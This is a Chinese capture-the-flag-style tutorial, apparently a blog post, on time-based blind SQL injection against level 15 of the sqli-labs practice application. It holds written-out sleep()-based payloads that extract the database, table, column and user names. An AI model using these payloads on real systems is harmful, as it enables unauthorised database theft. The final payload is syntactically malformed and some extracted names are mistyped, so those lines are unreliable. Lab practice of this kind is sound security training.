sqli-labs第十五关详细教程

我们可以选择布尔盲注或者时间盲注

输入正确密码页面

输入错误页面

页面睡眠了,用时间盲注

 Dumb' and if(ascii(substr(database(),1,1))=115,sleep(3),1)#

当ascii值等于115时,执行sleep,所以得到ascii值为115,对照ascii码表为 s

用burp爆破一下得到所有的数据库名

1-115 2-101  3-99  4-117  5-114  6-105  7-116  8-121

所以数据库名字为security

查询表名

Dumb' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,sleep(5),1) #

爆破一下,1-101  2-109 3- 97 4-105  5-108 6-115    emalis第一个表

第二个表refers  第三个表uagents  第四个表users

Dumb' and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=105,sleep(5),1) #查询列名

爆破一下

第一个字段为id   第二个字段为username  第三个字段为password

 查询列的字段内容

Dumb' and if(ascii(substr(select username from security.users limit 0,1)1,1)=65,sleep(3),1)#

第一列内容为angelina

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值